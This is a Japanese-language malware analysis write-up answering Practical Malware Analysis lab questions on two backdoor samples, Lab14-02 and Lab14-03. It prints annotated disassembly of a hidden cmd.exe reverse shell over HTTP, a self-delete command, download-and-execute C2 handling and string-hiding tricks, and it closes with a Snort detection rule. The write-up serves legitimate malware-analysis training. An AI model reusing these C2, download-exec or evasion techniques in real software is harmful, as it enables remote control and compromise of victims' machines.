.text:0040129A 89 6C 24 60 mov [esp+1A8h+StartupInfo.dwYSize], ebp ; window height set to zero
.text:0040129E 89 6C 24 5C mov [esp+1A8h+StartupInfo.dwXSize], ebp ; window width set to zero
.text:004012A2 89 6C 24 58 mov [esp+1A8h+StartupInfo.dwY], ebp
.text:004012A6 89 6C 24 54 mov [esp+1A8h+StartupInfo.dwX], ebp
.text:004012AA 66 89 6C 24 74 mov [esp+1A8h+StartupInfo.wShowWindow], bp
.text:004012AF 89 6C 24 78 mov [esp+1A8h+StartupInfo.lpReserved2], ebp
.text:004012B3 66 89 6C 24 76 mov [esp+1A8h+StartupInfo.cbReserved2], bp
.text:004012B8 C7 44 24 70 01 01 00 00 mov [esp+1A8h+StartupInfo.dwFlags], 101h
.text:004012C0 89 84 24 84 00 00 00 mov [esp+1A8h+StartupInfo.hStdError], eax ; standard error is set to writepipe
.text:004012C7 89 84 24 80 00 00 00 mov [esp+1A8h+StartupInfo.hStdOutput], eax ; standard output is set to writepipe
.text:004012FD BF 54 30 40 00 mov edi, offset aCmdExe ; "cmd.exe"
.text:00401302 83 C9 FF or ecx, 0FFFFFFFFh
.text:00401305 33 C0 xor eax, eax
.text:00401307 8D 94 24 98 00 00 00 lea edx, [esp+1A8h+CommandLine]
.text:0040130E F2 AE repne scasb
.text:00401310 F7 D1 not ecx
.text:00401312 2B F9 sub edi, ecx
.text:00401314 8B C1 mov eax, ecx
.text:00401316 8B F7 mov esi, edi
.text:00401318 8B FA mov edi, edx
.text:0040131A 8D 54 24 44 lea edx, [esp+1A8h+StartupInfo]
.text:0040131E C1 E9 02 shr ecx, 2
.text:00401321 F3 A5 rep movsd
.text:00401323 8B C8 mov ecx, eax
.text:00401325 8D 84 24 98 00 00 00 lea eax, [esp+1A8h+CommandLine]
.text:0040132C 83 E1 03 and ecx, 3
.text:0040132F F3 A4 rep movsb
.text:00401331 8D 8C 24 88 00 00 00 lea ecx, [esp+1A8h+ProcessInformation]
.text:00401338 51 push ecx ; lpProcessInformation
.text:00401339 52 push edx ; lpStartupInfo every window setting is set to zero, equivalent to hidden window.
.text:0040133A 55 push ebp ; lpCurrentDirectory
.text:0040133B 55 push ebp ; lpEnvironment
.text:0040133C 55 push ebp ; dwCreationFlags
.text:0040133D 6A 01 push 1 ; bInheritHandles
.text:0040133F 55 push ebp ; lpThreadAttributes
.text:00401340 55 push ebp ; lpProcessAttributes
.text:00401341 50 push eax ; lpCommandLine
.text:00401342 55 push ebp ; lpApplicationName
.text:00401343 FF 15 1C 20 40 00 call ds:CreateProcessA ; start cmd.exe with hidden window
C2サーバーへの一度目の通信が完了すると、マルウェアは再びC2サーバーへHTTPリクエストを送信して、サーバーからの応答を待つ。この際に使用されるユーザーエージェントはInternet Surf
である。
.text:004013C5 8D 4C 24 1C lea ecx, [esp+1A8h+ThreadId]
.text:004013C9 8D 54 24 20 lea edx, [esp+1A8h+ThreadAttributes]
.text:004013CD 51 push ecx ; lpThreadId
.text:004013CE 55 push ebp ; dwCreationFlags
.text:004013CF 53 push ebx ; lpParameter
.text:004013D0 68 C0 15 40 00 push offset Recv_from_C2_4015C0 ; lpStartAddress
.text:004013D5 55 push ebp ; dwStackSize
.text:004013D6 52 push edx ; lpThreadAttributes
.text:004013D7 FF D7 call edi ; CreateThread ; Lab14-02.exe receives command from C2 server
.text:00401803 6A 00 push 0 ; dwFlags
.text:00401805 6A 00 push 0 ; lpszProxyBypass
.text:00401807 6A 00 push 0 ; lpszProxy
.text:00401809 6A 00 push 0 ; dwAccessType
.text:0040180B 68 6C 30 40 00 push offset szAgent ; "Internet Surf"
.text:00401810 FF 15 DC 20 40 00 call ds:InternetOpenA
.text:00401816 6A 00 push 0 ; dwContext
.text:00401818 8B E8 mov ebp, eax
.text:0040181A 8B 44 24 14 mov eax, [esp+10h+lpszUrl]
.text:0040181E 68 00 00 00 80 push 80000000h ; dwFlags
.text:00401823 6A 00 push 0 ; dwHeadersLength
.text:00401825 6A 00 push 0 ; lpszHeaders
.text:00401827 50 push eax ; lpszUrl
.text:00401828 55 push ebp ; hInternet
.text:00401829 FF 15 D8 20 40 00 call ds:InternetOpenUrlA
---
.text:00401855 8D 4C 24 10 lea ecx, [esp+14h+dwNumberOfBytesRead]
.text:00401859 89 44 24 10 mov [esp+14h+dwNumberOfBytesRead], eax
.text:0040185D 51 push ecx ; lpdwNumberOfBytesRead
.text:0040185E 68 FF 00 00 00 push 0FFh ; dwNumberOfBytesToRead
.text:00401863 56 push esi ; lpBuffer
.text:00401864 53 push ebx ; hFile
.text:00401865 FF 15 E0 20 40 00 call ds:InternetReadFile
.text:0040186B 8B 3D D4 20 40 00 mov edi, ds:InternetCloseHandle
.text:00401871 53 push ebx ; hInternet
.text:00401872 FF D7 call edi ; InternetCloseHandle
.text:00401874 55 push ebp ; hInternet
.text:00401875 FF D7 call edi ; InternetCloseHandle
C2サーバーからの応答データにexit
というコマンドが含まれていた場合、マルウェアは自身を終了する。
.text:00401670 33 C0 xor eax, eax
.text:00401672 6A 04 push 4 ; MaxCount
.text:00401674 F2 AE repne scasb
.text:00401676 F7 D1 not ecx
.text:00401678 2B F9 sub edi, ecx
.text:0040167A 68 60 30 40 00 push offset Str ; "exit"
.text:0040167F 8B C1 mov eax, ecx
.text:00401681 8B F7 mov esi, edi
.text:00401683 8B FA mov edi, edx
.text:00401685 53 push ebx ; Str1
.text:00401686 C1 E9 02 shr ecx, 2
.text:00401689 F3 A5 rep movsd
.text:0040168B 8B C8 mov ecx, eax
.text:0040168D 83 E1 03 and ecx, 3
.text:00401690 F3 A4 rep movsb
.text:00401692 E8 61 03 00 00 call _strnicmp ; check if received C2 command is "exit"
.text:00401697 83 C4 0C add esp, 0Ch
.text:0040169A 85 C0 test eax, eax
.text:0040169C 0F 84 82 00 00 00 jz loc_401724 ; exits if received C2 command is "exit"
.text:00401724 loc_401724:
.text:00401724 8B 15 A0 30 40 00 mov edx, hEvent
.text:0040172A 52 push edx ; hEvent
.text:0040172B FF 15 3C 20 40 00 call ds:SetEvent
.text:00401731 55 push ebp ; Memory
.text:00401732 E8 A9 02 00 00 call free
.text:00401737 83 C4 04 add esp, 4
.text:0040173A 6A 00 push 0 ; dwExitCode
.text:0040173C FF 15 30 20 40 00 call ds:ExitThread
.text:0040173C Recv_from_C2_4015C0 endp
それ以外の応答データを受信した場合は、受信データに改行文字 (\n
) を加えてcmd.exe
の標準入力に書き込む。
.text:004015F9 68 18 01 00 00 push 280 ; Size
.text:004015FE 89 54 24 1C mov [esp+24h+var_8], edx
.text:00401602 E8 DF 03 00 00 call malloc
.text:00401607 8B 74 24 28 mov esi, [esp+24h+lpThreadParameter]
.text:0040160B 8B E8 mov ebp, eax
.text:004016A2 BF 5C 30 40 00 mov edi, offset asc_40305C ; "\n"
.text:004016A7 83 C9 FF or ecx, 0FFFFFFFFh
.text:004016AA 33 C0 xor eax, eax
.text:004016AC F2 AE repne scasb ; strlen
.text:004016AE F7 D1 not ecx
.text:004016B0 2B F9 sub edi, ecx
.text:004016B2 50 push eax ; lpOverlapped
.text:004016B3 8B F7 mov esi, edi
.text:004016B5 8B D1 mov edx, ecx
.text:004016B7 8B FB mov edi, ebx
.text:004016B9 83 C9 FF or ecx, 0FFFFFFFFh
.text:004016BC F2 AE repne scasb ; strlen
.text:004016BE 8B CA mov ecx, edx
.text:004016C0 4F dec edi
.text:004016C1 C1 E9 02 shr ecx, 2
.text:004016C4 F3 A5 rep movsd ; memcpy
.text:004016C6 8B CA mov ecx, edx
.text:004016C8 83 E1 03 and ecx, 3
.text:004016CB F3 A4 rep movsb ; memcpy
.text:004016CD 8B FB mov edi, ebx
.text:004016CF 83 C9 FF or ecx, 0FFFFFFFFh
.text:004016D2 F2 AE repne scasb ; strlen
.text:004016D4 F7 D1 not ecx
.text:004016D6 8D 44 24 18 lea eax, [esp+1Ch+NumberOfBytesWritten]
.text:004016DA 49 dec ecx
.text:004016DB 50 push eax ; lpNumberOfBytesWritten
.text:004016DC 51 push ecx ; nNumberOfBytesToWrite
.text:004016DD 8B 4D 04 mov ecx, [ebp+4]
.text:004016E0 53 push ebx ; lpBuffer C2 response payload + "\n"
.text:004016E1 51 push ecx ; hFile
.text:004016E2 FF 15 40 20 40 00 call ds:WriteFile
マルウェアがC2サーバーとの通信を終了する条件は以下の通り。
- C2サーバーへのデータ送信用のスレッドの実行に失敗した場合。
- C2サーバーからのデータ受信用のスレッドの実行に失敗した場合。
- C2サーバーから
exit
というコマンドを受信した場合。 - C2サーバーから何もデータを受信しなかった場合。
- 上述したC2データの送受信用のスレッドのいずれかがシグナル状態になった場合。
C2サーバーとの通信が完了すると、マルウェアは以下のコマンドを実行して、自身をディスクから削除しようとする。この処理はサブルーチン0x401880にて規定されている。
\path\to\cmd.exe /c del \path\to\Lab14-02.exe > nul
.text:0040139E 55 push ebp ; dwExitCode
.text:0040139F 55 push ebp ; hThread
.text:004013A0 FF 15 10 20 40 00 call ds:TerminateThread
.text:004013A6 E8 D5 04 00 00 call Delete_Lab14_02_exe_401880
.text:004018C9 68 04 01 00 00 push 104h ; nSize
.text:004018CE 50 push eax ; lpBuffer
.text:004018CF 68 94 30 40 00 push offset Name ; "COMSPEC"
.text:004018D4 FF 15 5C 20 40 00 call ds:GetEnvironmentVariableA ; retrieve path to cmd.exe
.text:004018DA 85 C0 test eax, eax
.text:004018DC 0F 84 EE 00 00 00 jz loc_4019D0
.text:004018E2 8D 8C 24 50 01 00 00 lea ecx, [esp+358h+String1]
.text:004018E9 68 8C 30 40 00 push offset String2 ; "/c del "
.text:004018EE 51 push ecx ; lpString1
.text:004018EF FF 15 58 20 40 00 call ds:lstrcpyA
.text:004018F5 8B 35 54 20 40 00 mov esi, ds:lstrcatA
.text:004018FB 8D 54 24 4C lea edx, [esp+358h+Filename]
.text:004018FF 8D 84 24 50 01 00 00 lea eax, [esp+358h+String1]
.text:00401906 52 push edx ; lpString2 \path\to\Lab14-02.exe
.text:00401907 50 push eax ; lpString1 "/c del "
.text:00401908 FF D6 call esi ; lstrcatA
.text:0040190A 8D 8C 24 50 01 00 00 lea ecx, [esp+358h+String1]
.text:00401911 68 84 30 40 00 push offset aNul ; " > nul"
.text:00401916 51 push ecx ; lpString1 "/c del \path\to\Lab14-02.exe"
.text:00401917 FF D6 call esi ; lstrcatA
.text:00401919 89 7C 24 18 mov [esp+358h+pExecInfo.hwnd], edi
.text:0040191D 8D 94 24 54 02 00 00 lea edx, [esp+358h+Buffer] ; "\path\to\cmd.exe"
.text:00401924 8D 84 24 50 01 00 00 lea eax, [esp+358h+String1] ; "/c del \path\to\Lab14-02.exe > nul"
.text:0040192B 89 7C 24 28 mov [esp+358h+pExecInfo.lpDirectory], edi
.text:0040192F 89 7C 24 2C mov [esp+358h+pExecInfo.nShow], edi
.text:00401933 8B 3D 24 20 40 00 mov edi, ds:GetCurrentProcess
.text:00401939 68 00 01 00 00 push 100h ; dwPriorityClass
.text:0040193E C7 44 24 14 3C 00 00 00 mov [esp+35Ch+pExecInfo.cbSize], 3Ch
.text:00401946 C7 44 24 20 7C 30 40 00 mov [esp+35Ch+pExecInfo.lpVerb], offset aOpen ; "Open"
.text:0040194E 89 54 24 24 mov [esp+35Ch+pExecInfo.lpFile], edx ; "\path\to\cmd.exe"
.text:00401952 89 44 24 28 mov [esp+35Ch+pExecInfo.lpParameters], eax ; "/c del \path\to\Lab14-02.exe > nul"
.text:00401956 C7 44 24 18 40 00 00 00 mov [esp+35Ch+pExecInfo.fMask], 40h
.text:0040195E FF D7 call edi ; GetCurrentProcess
.text:00401960 8B 35 50 20 40 00 mov esi, ds:SetPriorityClass
.text:00401966 50 push eax ; hProcess
.text:00401967 FF D6 call esi ; SetPriorityClass
.text:00401969 8B 1D 4C 20 40 00 mov ebx, ds:GetCurrentThread
.text:0040196F 6A 0F push 0Fh ; nPriority
.text:00401971 FF D3 call ebx ; GetCurrentThread
.text:00401973 8B 2D 48 20 40 00 mov ebp, ds:SetThreadPriority
.text:00401979 50 push eax ; hThread
.text:0040197A FF D5 call ebp ; SetThreadPriority
.text:0040197C 8D 4C 24 10 lea ecx, [esp+358h+pExecInfo]
.text:00401980 51 push ecx ; pExecInfo Open
.text:00401981 FF 15 C4 20 40 00 call ds:ShellExecuteExA ; execute the command "\path\to\cmd.exe /c del \path\to\Lab14-02.exe > nul"
以上の分析から、Lab14-02.exeはcmd.exe
を介してC2サーバーからのコマンドを受信・実行するバックドアであると考えられる。
Lab 14-3
解析対象のファイルは以下の通り。
ファイル名 | ファイルの種類 | MD5ハッシュ値 |
Lab14-03.exe | 32ビット EXE | 6B2F645881BED988D32C4F7241F3A8DD |
1. What hard-coded elements are used in the initial beacon? What elements, if any, would make a good signature?
このマルウェアには以下のURLやHTTPのリクエスト・ヘッダーがハードコードされていた。
00008038 User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
000080A4 Accept: */*
000080B0 Accept-Language: en-US
000080C7 UA-CPU: x86
000080D3 Accept-Encoding: gzip, deflate
0000811C http://www.practicalmalwareanalysis.com/start.htm
マルウェアを実行したところ、サーバーへのHTTPリクエストに上述したURLやヘッダーが使用されているのを確認した。
GET /start.htm HTTP/1.1
Accept: */*
Accept-Language: en-US
UA-CPU: x86
Accept-Encoding: gzip, deflate
User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: www.practicalmalwareanalysis.com
Cache-Control: no-cache
上記のHTTPリクエストにはユーザーエージェント・ヘッダーが2つ存在している。これは正規のHTTPリクエストの構造からは逸脱しており、検知シグネチャには誂え向きである。
User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
UA-CPUヘッダーも通常のHTTP通信ではあまり用いられないので、検知シグネチャの対象としては適当である。
UA-CPU: x86
2. What elements of the initial beacon may not be conducive to a long lasting signature?
以下のHTTPヘッダーは通常のHTTPリクエストに頻繁に登場するので、検知シグネチャの対象としては適当ではない。
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Cache-Control: no-cache
ドメイン名www.practicalmalwareanalysis[.]com
やURLパス/start.htm
は検知シグネチャとして一定の効果があるが、攻撃者が将来的にドメインやURLパスを変更する可能性があるので、ドメイン名やURLパスを対象としたシグネチャのみの運用は避けるべきである。
3. How does this malware obtain commands? What example from the chapter used a similar methodology? What are the advantages of this technique?
このマルウェアはまずC:\autobat.exe
というファイルを作成する。このファイルは実際にはhttp://www.practicalmalwareanalysis[.]com/start.htm
というURLが記述されているテキストファイルで、マルウェアはこのテキストファイルを読み込んで通信先のURLを決定する。マルウェアはC:\autobat.exe
に記述されているURLにHTTPリクエストを送信し、サーバーからのレスポンス・データからコマンドを受け取って実行する。
.text:00401771 68 00 02 00 00 push 200h
.text:00401776 6A 00 push 0
.text:00401778 8D 85 F8 FB FF FF lea eax, [ebp+Buffer]
.text:0040177E 50 push eax
.text:0040177F E8 8C 03 00 00 call sub_401B10
.text:00401784 83 C4 0C add esp, 0Ch
.text:00401787 68 00 02 00 00 push 200h ; int
.text:0040178C 8D 8D F8 FB FF FF lea ecx, [ebp+Buffer]
.text:00401792 51 push ecx ; lpBuffer
.text:00401793 E8 BF FC FF FF call CreateRead_C2_config_401457
.text:004017A9 8D 95 FC FD FF FF lea edx, [ebp+var_204]
.text:004017AF 52 push edx ; int
.text:004017B0 8D 85 F8 FB FF FF lea eax, [ebp+Buffer]
.text:004017B6 50 push eax ; lpszUrl
.text:004017B7 E8 37 FA FF FF call Get_command_4011F3
.text:004017BC 83 C4 08 add esp, 8
.text:004017BF 85 C0 test eax, eax
.text:004017C1 74 19 jz short loc_4017DC
.text:004017C3 8D 8D F8 FD FF FF lea ecx, [ebp+var_208]
.text:004017C9 51 push ecx
.text:004017CA 8D 95 FC FD FF FF lea edx, [ebp+var_204]
.text:004017D0 52 push edx
.text:004017D1 E8 AE FE FF FF call Exec_command_401684
.text:004017D6 83 C4 08 add esp, 8
.text:004017D9 89 45 FC mov [ebp+var_4], eax
サブルーチン0x4011F3はサーバーからのレスポンス・データに<noscript>
というHTMLタグが含まれているか確認し、含まれていた場合はレスポンス・データからコマンドを抽出する。
コマンドのやり取りにHTMLタグを利用する方法は、Chapter 3のLab03-02.dllやChapter 6のLab06-02.exe、Lab06-03.exe、Lab06-04.exeでも見られた。
C2サーバーとの通信に設定ファイルを利用する利点として、設定ファイルのURLを変更すれば容易に通信先のC2サーバーを変更できる点が挙げられる。通信先のURLを定期的に変更することにより、通信が検知されるのを回避することができる。
4. When the malware receives input, what checks are performed on the input to determine whether it is a valid command? How does the attacker hide the list of commands the malware is searching for?
サブルーチン0x4011F3はサーバーからのレスポンス・データに<noscript>
というHTMLタグが含まれているか確認し、含まれていた場合はレスポンス・データからコマンドを抽出する。
以下のコードはレスポンス・データに<no
が含まれているか確認している。
.text:004012DB loc_4012DB:
.text:004012DB 68 F4 80 40 00 push offset aNo ; "<no"
.text:004012E0 8D 8D E0 F9 FF FF lea ecx, [ebp+Buffer]
.text:004012E6 51 push ecx
.text:004012E7 E8 94 05 00 00 call strstr_401880 ; check if C2 response contains "<no"
以下のコードはレスポンス・データにnoscript>
が含まれているか確認している。
.text:00401000 55 push ebp
.text:00401001 8B EC mov ebp, esp
.text:00401003 81 EC D0 00 00 00 sub esp, 0D0h
.text:00401009 8B 45 08 mov eax, [ebp+arg_0]
.text:0040100C 83 C0 01 add eax, 1
.text:0040100F 89 45 08 mov [ebp+arg_0], eax
.text:00401012 8B 4D 08 mov ecx, [ebp+arg_0]
.text:00401015 0F BE 51 08 movsx edx, byte ptr [ecx+8]
.text:00401019 83 FA 3E cmp edx, '>'
.text:0040101C 0F 85 1F 01 00 00 jnz loc_401141
.text:00401022 8B 45 08 mov eax, [ebp+arg_0]
.text:00401025 0F BE 08 movsx ecx, byte ptr [eax]
.text:00401028 83 F9 6E cmp ecx, 'n'
.text:0040102B 0F 85 10 01 00 00 jnz loc_401141
.text:00401031 8B 55 08 mov edx, [ebp+arg_0]
.text:00401034 0F BE 42 05 movsx eax, byte ptr [edx+5]
.text:00401038 83 F8 69 cmp eax, 'i'
.text:0040103B 0F 85 00 01 00 00 jnz loc_401141
.text:00401041 8B 4D 08 mov ecx, [ebp+arg_0]
.text:00401044 0F BE 51 01 movsx edx, byte ptr [ecx+1]
.text:00401048 83 FA 6F cmp edx, 'o'
.text:0040104B 0F 85 F0 00 00 00 jnz loc_401141
.text:00401051 8B 45 08 mov eax, [ebp+arg_0]
.text:00401054 0F BE 48 04 movsx ecx, byte ptr [eax+4]
.text:00401058 83 F9 72 cmp ecx, 'r'
.text:0040105B 0F 85 E0 00 00 00 jnz loc_401141
.text:00401061 8B 55 08 mov edx, [ebp+arg_0]
.text:00401064 0F BE 42 02 movsx eax, byte ptr [edx+2]
.text:00401068 83 F8 73 cmp eax, 's'
.text:0040106B 0F 85 D0 00 00 00 jnz loc_401141
.text:00401071 8B 4D 08 mov ecx, [ebp+arg_0]
.text:00401074 0F BE 51 06 movsx edx, byte ptr [ecx+6]
.text:00401078 83 FA 70 cmp edx, 'p'
.text:0040107B 0F 85 C0 00 00 00 jnz loc_401141
.text:00401081 8B 45 08 mov eax, [ebp+arg_0]
.text:00401084 0F BE 48 03 movsx ecx, byte ptr [eax+3]
.text:00401088 83 F9 63 cmp ecx, 'c'
.text:0040108B 0F 85 B0 00 00 00 jnz loc_401141
.text:00401091 8B 55 08 mov edx, [ebp+arg_0]
.text:00401094 0F BE 42 07 movsx eax, byte ptr [edx+7]
.text:00401098 83 F8 74 cmp eax, 't'
.text:0040109B 0F 85 A0 00 00 00 jnz loc_401141
文字列の検索は以下の順番で1バイトずつ行われる。そのためLab14-03.exeに単純なstringsを走らせてもnoscript>
という文字は検知できない。
- レスポンス・データの9バイト目が
>
と等しいか - レスポンス・データの1バイト目が
n
と等しいか - レスポンス・データの6バイト目が
i
と等しいか - レスポンス・データの2バイト目が
o
と等しいか - レスポンス・データの5バイト目が
r
と等しいか - レスポンス・データの3バイト目が
s
と等しいか - レスポンス・データの7バイト目が
p
と等しいか - レスポンス・データの4バイト目が
c
と等しいか - レスポンス・データの8バイト目が
t
と等しいか
以下のコードは<noscript>
以降、最初に現れる/
(スラッシュ)を検索している。
.text:004010A1 8B 4D 0C mov ecx, [ebp+arg_4]
.text:004010A4 51 push ecx
.text:004010A5 8D 95 34 FF FF FF lea edx, [ebp+var_CC]
.text:004010AB 52 push edx
.text:004010AC E8 7F 08 00 00 call strcpy_401930 ; copies URL to var_CC
.text:004010B1 83 C4 08 add esp, 8
.text:004010B4 6A 2F push '/'
.text:004010B6 8D 85 34 FF FF FF lea eax, [ebp+var_CC]
.text:004010BC 50 push eax
.text:004010BD E8 3E 08 00 00 call strrchr_401900 ; Searches for last occurrence of "/" within URL.
.text:004010C2 83 C4 08 add esp, 8
.text:004010C5 89 45 FC mov [ebp+var_4], eax
.text:004010C8 8B 4D FC mov ecx, [ebp+var_4]
.text:004010CB C6 01 00 mov byte ptr [ecx], 0
.text:004010CE 8D 95 34 FF FF FF lea edx, [ebp+var_CC]
.text:004010D4 52 push edx
.text:004010D5 8B 45 08 mov eax, [ebp+arg_0]
.text:004010D8 50 push eax
.text:004010D9 E8 A2 07 00 00 call strstr_401880 ; check the first occurrence of "/" after "<noscript>"
.text:004010DE 83 C4 08 add esp, 8
.text:004010E1 89 45 FC mov [ebp+var_4], eax
.text:004010E4 83 7D FC 00 cmp [ebp+var_4], 0
.text:004010E8 74 57 jz short loc_401141
マルウェアが受け取るコマンドは/
を区切り文字としてC2サーバーからのレスポンスの中に含まれている。
.text:00401684 55 push ebp
.text:00401685 8B EC mov ebp, esp
.text:00401687 83 EC 14 sub esp, 14h
.text:0040168A C7 45 FC 00 00 00 00 mov [ebp+var_4], 0
.text:00401691 66 A1 54 81 40 00 mov ax, word_408154 ; copies "/" to ax
.text:00401697 66 89 45 F8 mov [ebp+var_8], ax ; "/" copied to var_8
.text:0040169B 8D 4D F8 lea ecx, [ebp+var_8]
.text:0040169E 51 push ecx
.text:0040169F 8B 55 08 mov edx, [ebp+arg_0]
.text:004016A2 52 push edx
.text:004016A3 E8 F4 04 00 00 call strtok_401B9C ; check the commands delimitered by "/"
.text:004016A8 83 C4 08 add esp, 8
.text:004016AB 89 45 F0 mov [ebp+var_10], eax ; copies extracted command to var_10
.text:004016AE 8D 45 F8 lea eax, [ebp+var_8]
5. What type of encoding is used for command arguments? How is it different from Base64, and what advantages or disadvantages does it offer?
アドレス0x4070D8には以下の文字列が格納されている。
/abcdefghijklmnopqrs
アドレス0x4070ECには以下の文字列が格納されている。
tuvwxyz0123456789:.
これらは換字表と思われる。
1つ目の換字表/abcdefghijklmnopqrs
はサブルーチン0x401147の中で参照されている。このサブルーチンはC2サーバーのレスポンスから新たな通信先のURLをデコードする。
2つ目の換字表tuvwxyz0123456789:.
はサブルーチン0x402019の中で参照されている。このサブルーチンの用途は分からなかった。
これらの換字表が通常のBase64と異なる点として以下が挙げられる。
- 大文字のアルファベットを使用しない。
+
、/
記号の代わりに:
、.
を使用する。
メリット
- カスタムの換字表を利用することで、デコードの難易度を上げられる。
デメリット
- サーバーからのレスポンスの一部が上述の換字表をもとにエンコードされているので、レスポンスのペイロードにエンコードされたデータが有るか観察することで、C2サーバーとの通信を検知することが出来る。
6. What commands are available to this malware?
d
: C2 URLからファイルをダウンロードして実行する。(サブルーチン 0x401565)n
: マルウェアの終了フラグに1をセットする。(アドレス 0x4016F7)。このコマンドが送られるとマルウェアは20秒間スリープした後、終了する。s
: 一定時間スリープする。(サブルーチン 0x401613)r
: 設定ファイル (C:\autobat.exe
)を更新する。(サブルーチン 0x401372)
各コマンドに対するアクションはサブルーチン0x401684内で定義されている。
以下のコードではC2サーバーのレスポンスに含まれている<noscript>
タグから抽出したデータから0x64を引いて、その差が0xf (15) より大きいか確認している。もし0xfよりも大きかった場合は何のコマンドも実行されない。
.text:00401684 55 push ebp
.text:00401685 8B EC mov ebp, esp
.text:00401687 83 EC 14 sub esp, 14h
.text:0040168A C7 45 FC 00 00 00 00 mov [ebp+var_4], 0
.text:00401691 66 A1 54 81 40 00 mov ax, word_408154 ; copies "/" to ax
.text:00401697 66 89 45 F8 mov [ebp+var_8], ax ; "/" copied to var_8
.text:0040169B 8D 4D F8 lea ecx, [ebp+var_8]
.text:0040169E 51 push ecx
.text:0040169F 8B 55 08 mov edx, [ebp+arg_0]
.text:004016A2 52 push edx
.text:004016A3 E8 F4 04 00 00 call strtok_401B9C ; check the commands delimitered by "/"
.text:004016A8 83 C4 08 add esp, 8
.text:004016AB 89 45 F0 mov [ebp+var_10], eax ; copies extracted command to var_10
.text:004016AE 8D 45 F8 lea eax, [ebp+var_8]
.text:004016B1 50 push eax ; "/"
.text:004016B2 6A 00 push 0
.text:004016B4 E8 E3 04 00 00 call strtok_401B9C ; this returns 0 because no "/" would be found in "0"
.text:004016B9 83 C4 08 add esp, 8
.text:004016BC 89 45 F4 mov [ebp+dwMilliseconds], eax ; copies 0 to dwMilliseconds
.text:004016BF 8B 4D F0 mov ecx, [ebp+var_10]
.text:004016C2 0F BE 11 movsx edx, byte ptr [ecx]
.text:004016C5 89 55 EC mov [ebp+var_14], edx
.text:004016C8 8B 45 EC mov eax, [ebp+var_14]
.text:004016CB 83 E8 64 sub eax, 64h
.text:004016CE 89 45 EC mov [ebp+var_14], eax
.text:004016D1 83 7D EC 0F cmp [ebp+var_14], 15 ; switch 16 cases
.text:004016D5 77 4C ja short loc_401723 ; checks if extracted command is greater than "15"
<noscript>
タグから抽出したデータから0x64を引いた差が0だった場合、つまり抽出したコマンドがd
だった場合 ('64'.decode('hex') は d)、C2 URLからファイルをダウンロードして実行する。
.text:004016E9 loc_4016E9: ; jumptable 004016E2 case 0
.text:004016E9 8B 45 F4 mov eax, [ebp+dwMilliseconds]
.text:004016EC 50 push eax
.text:004016ED E8 73 FE FF FF call DownloadNExec_401565 ; execute if command is "d"
.text:004016F2 83 C4 04 add esp, 4
.text:004016F5 EB 2C jmp short loc_401723 ; jumptable 004016E2 default case
<noscript>
タグから抽出したデータから0x64を引いた差が10だった場合、つまり抽出したコマンドがn
だった場合 (hex(0x64 + 10) = 0x6e、'6e'.decode('hex') = n)、マルウェアの終了フラグに1をセットする。
.text:004016F7 loc_4016F7: ; jumptable 004016E2 case 10
.text:004016F7 C7 45 FC 01 00 00 00 mov [ebp+var_4], 1 ; execute if command is "n"
.text:004016FE EB 23 jmp short loc_401723
<noscript>
タグから抽出したデータから0x64を引いた差が15だった場合、つまり抽出したコマンドがs
だった場合 (hex(0x64 + 15) = 0x73、'73'.decode('hex') = s)、一定時間スリープする。
.text:00401700 loc_401700: ; jumptable 004016E2 case 15
.text:00401700 8B 4D F4 mov ecx, [ebp+dwMilliseconds]
.text:00401703 51 push ecx ; dwMilliseconds
.text:00401704 E8 0A FF FF FF call Sleep_401613 ; execute if command is "s"
.text:00401709 83 C4 04 add esp, 4
.text:0040170C EB 15 jmp short loc_401723 ; jumptable 004016E2 default case
<noscript>
タグから抽出したデータから0x64を引いた差が14だった場合、つまり抽出したコマンドがr
だった場合 (hex(0x64 + 14) = 72、'72'.decode('hex') = r)、設定ファイル (C:\autobat.exe
)を更新する。
.text:0040170E loc_40170E: ; jumptable 004016E2 case 14
.text:0040170E 8B 55 F4 mov edx, [ebp+dwMilliseconds]
.text:00401711 52 push edx
.text:00401712 E8 3A FF FF FF call Update_autobat_exe_401651 ; execute if command is "r"
.text:00401717 83 C4 04 add esp, 4
.text:0040171A 8B 45 0C mov eax, [ebp+arg_4]
.text:0040171D C7 00 01 00 00 00 mov dword ptr [eax], 1
7. What is the purpose of this malware?
このマルウェアはまず、C:\autobat.exe
というテキストファイルから通信先のURLを読み込む。ファイルが存在しない場合は新しく作成する。初期値のURLはhttp://www.practicalmalwareanalysis[.]com/start.htm
である。
続いてマルウェアはC:\autobat.exe
から読み取ったURLに対してHTTPリクエストを送信して、サーバーのレスポンスに含まれている<noscript>
タグからコマンドを受け取る。受け取るコマンドの種類は以下の通り。
d
: C2 URLからファイルをダウンロードして実行する。(サブルーチン 0x401565)n
: マルウェアの終了フラグに1をセットする。(アドレス 0x4016F7)。このコマンドが送られるとマルウェアは20秒間スリープした後、終了する。s
: 一定時間スリープする。(サブルーチン 0x401613)r
: 設定ファイル (C:\autobat.exe
)を更新する。(サブルーチン 0x401372)
受け取ったコマンドがd
だった場合、マルウェアはサーバーのレスポンスからダウンロード先のURLを抽出してデコードし、ファイルをダウンロードして実行する。
受け取ったコマンドがr
だった場合、マルウェアはサーバーのレスポンスからURLを抽出してデコードし、設定ファイルC:\autobat.exe
に記述されているURLを更新する。
コマンドの実行が完了するとマルウェアは20秒間スリープした後、再びC2サーバーと通信してコマンドを待ち受ける。直前に受け取ったコマンドがn
だった場合、マルウェアはスリープ後に終了する。
n
コマンドを受け取らない限り、マルウェアは20秒ごとにC2サーバーと通信してコマンドを実行する。
8. This chapter introduced the idea of targeting different areas of code with independent signatures (where possible) in order to add resiliency to network indicators. What are some distinct areas of code or configuration data that can be targeted by network signatures?
- マルウェア固有のHTTPヘッダー
- マルウェア固有の方式によってエンコード・暗号化された通信データ
- マルウェアやその設定ファイルにハードコードされている値
9. What set of signatures should be used for this malware?
以下のシグネチャは設定ファイルにハードコードされたURLへの通信を検知する。
alert tcp any any -> any any (msg:"Lab14-03.exe Hard-coded URL"; content:"T "; offset:2; depth:3; content:"/start.htm HTTP/1."; content:"Host: www.practicalmalwareanalysis.com"; distance:0;)
